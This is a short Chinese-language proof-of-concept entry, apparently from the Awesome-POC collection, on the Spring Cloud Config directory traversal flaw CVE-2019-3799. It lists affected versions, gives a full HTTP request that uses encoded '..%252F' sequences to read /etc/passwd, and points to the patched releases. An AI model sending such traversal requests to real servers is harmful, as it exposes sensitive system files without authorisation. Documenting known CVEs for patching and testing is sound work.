mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 19:38:09 +00:00
32 lines
1.0 KiB
Markdown
32 lines
1.0 KiB
Markdown
# Spring Cloud Config 目录遍历漏洞 CVE-2019-3799
|
||
|
||
## 漏洞描述
|
||
|
||
由于 spring-cloud-config-server 模块未对传入路径进行安全限制，攻击者可以利用多个 `..%252f` 进行目录遍历，查看服务器其他路径的敏感文件，造成敏感信息泄露。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Spring Cloud Config 2.1.0 to 2.1.1
|
||
Spring Cloud Config 2.0.0 to 2.0.3
|
||
Spring Cloud Config 1.4.0 to 1.4.5
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
```
|
||
GET /foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd HTTP/1.1
|
||
Host: your-ip:8888
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
DNT: 1
|
||
Connection: close
|
||
Upgrade-Insecure-Requests: 1
|
||
```
|
||
|
||
## 漏洞修复
|
||
|
||
Spring 官方最新版本已经对 Spring Cloud Config 目录遍历漏洞进行了修复，下载地址：https://github.com/spring-cloud/spring-cloud-config/releases
|